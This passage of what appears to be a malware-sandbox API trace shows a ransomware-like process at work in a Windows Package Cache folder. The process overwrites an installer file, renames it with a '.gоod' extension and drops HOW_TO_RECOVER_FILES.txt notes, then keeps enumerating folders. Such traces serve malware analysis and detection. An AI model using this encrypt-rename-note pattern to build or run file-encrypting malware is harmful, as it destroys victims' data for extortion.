Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0081.948] GetFileType (hFile=0x768) returned 0x1 [0081.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0081.949] GetFileType (hFile=0x768) returned 0x1 [0081.949] ReadFile (in: hFile=0x768, lpBuffer=0x34121f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x34121f8*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0082.320] CloseHandle (hObject=0x768) returned 1 [0082.321] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x87 [0082.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0082.321] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0082.321] GetFileType (hFile=0x768) returned 0x1 [0082.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0082.321] GetFileType (hFile=0x768) returned 0x1 [0082.321] WriteFile (in: hFile=0x768, lpBuffer=0x323b0a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x323b0a0*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0082.321] CloseHandle (hObject=0x768) returned 1 [0082.324] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x87 [0082.324] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.gоod", lpFilePart=0x0) returned 0x8c [0082.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0082.324] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x2d48e1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x24010)) returned 1 [0082.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0082.325] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.gоod" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.gоod")) returned 1 [0082.325] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59c5f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x86 [0082.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cb10) returned 1 [0082.325] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0082.327] GetFileType (hFile=0x768) returned 0x1 [0082.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59ca80) returned 1 [0082.327] GetFileType (hFile=0x768) returned 0x1 [0082.328] WriteFile (in: hFile=0x768, lpBuffer=0x35044e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59cbd8, lpOverlapped=0x0 | out: lpBuffer=0x35044e0*, lpNumberOfBytesWritten=0x1f59cbd8*=0x5d0, lpOverlapped=0x0) returned 1 [0082.329] CloseHandle (hObject=0x768) returned 1 [0082.329] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x71 [0082.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0082.329] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0082.330] GetFileType (hFile=0x768) returned 0x1 [0082.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0082.330] GetFileType (hFile=0x768) returned 0x1 [0082.330] WriteFile (in: hFile=0x768, lpBuffer=0x3508118*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x3508118*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0082.331] CloseHandle (hObject=0x768) returned 1 [0082.331] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x68 [0082.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0082.331] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0082.332] GetFileType (hFile=0x768) returned 0x1 [0082.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0082.332] GetFileType (hFile=0x768) returned 0x1 [0082.332] WriteFile (in: hFile=0x768, lpBuffer=0x350ba10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x350ba10*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0082.334] CloseHandle (hObject=0x768) returned 1 [0082.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0082.334] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpFilePart=0x0) returned 0x4f [0082.334] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0082.335] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.335] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0082.335] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0082.335] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0082.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0082.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0082.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0082.335] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpFilePart=0x0) returned 0x4f [0082.335] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0082.336] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.336] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0082.336] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0082.336] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0082.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0082.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0082.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0082.337] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages", lpFilePart=0x0) returned 0x58 [0082.337] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0082.337] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.337] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0082.337] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0082.337] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0082.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0082.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0082.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0082.338] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages", lpFilePart=0x0) returned 0x58 [0082.338] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0082.564] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.565] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0082.565] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0082.565] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0082.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0082.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0082.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0082.566] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x70 [0082.566] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0082.566] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.566] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0082.566] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0082.567] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0082.567] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0082.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0082.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0082.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0082.567] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x70 [0082.567] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 